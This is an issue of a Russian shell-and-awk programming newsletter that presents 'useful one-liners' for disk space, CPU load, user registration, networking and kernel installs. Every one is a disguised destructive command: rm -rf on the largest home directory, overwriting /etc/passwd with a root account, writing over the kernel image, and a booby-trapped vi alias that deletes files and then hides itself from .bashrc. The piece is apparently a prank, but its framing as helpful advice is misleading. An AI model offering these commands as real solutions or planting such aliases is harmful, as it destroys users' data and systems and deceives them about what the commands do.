Отправляет email-рассылки с помощью сервиса Sendsay

Программирование на shell и awk

  Все выпуски  

Несколько полезных сценариев в одну строку


Информационный Канал Subscribe.Ru

Выпук #13

Несколько полезных сценариев в одну строку

Два способа устранения нехватки дискового пространства в /home

cd /home #перемещаемся в хому и потом:

# 1-й способ
rm -rf `du -s * | sort -rn | head -1 | awk '{print $2}'`

# 2-й способ
cat `du -s * | sort -rn | head -1 | awk '{printf "%s/*\n", $2}'` | compress

Два способа устранения нехватки вычислительных ресурсов

# 1-й способ
kill -9 `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`

# 2-й способ
compress -f `ps -augxww | sort -rn +8 -9 | head -1 | awk '{print $2}'`

Регистрация нового пользователя

cd /home; mkdir "Fedya home directory";
echo "Fedor Symkin:gandalf:0:0::/dev/tty:compress -f" > /etc/passwd

Повышение производительности сети

compress -f /dev/eth0

Электронная записная книжка

dd ibs=18k if=/dev/hda | grep "Fedya"

Установка новой версии ядра

dd if=/dev/cdrom of=/boot/vmlinuz

Настройка «дружелюбного» к пользователю окружения

# псевдоним для bash, добавляется в .bashrc:
alias vi='rm *;unalias vi;grep -v BoZo ~/.bashrc > ~/.z;mv -f ~/.z ~/.bashrc'

# псевдоним для csh, добавляется в .cshrc:
alias vi 'rm \!*;unalias vi;grep -v BoZo ~/.cshrc > ~/.z;mv -f ~/.z ~/.cshrc'

# vi можно заменить именем любой другой часто используемой команды

Ведущий рассылки Big Shadow

Архив рассылки находится на http://subscribe.ru/archive/comp.soft.prog.shellandawk/



http://subscribe.ru/
E-mail: ask@subscribe.ru
Отписаться
Убрать рекламу

В избранное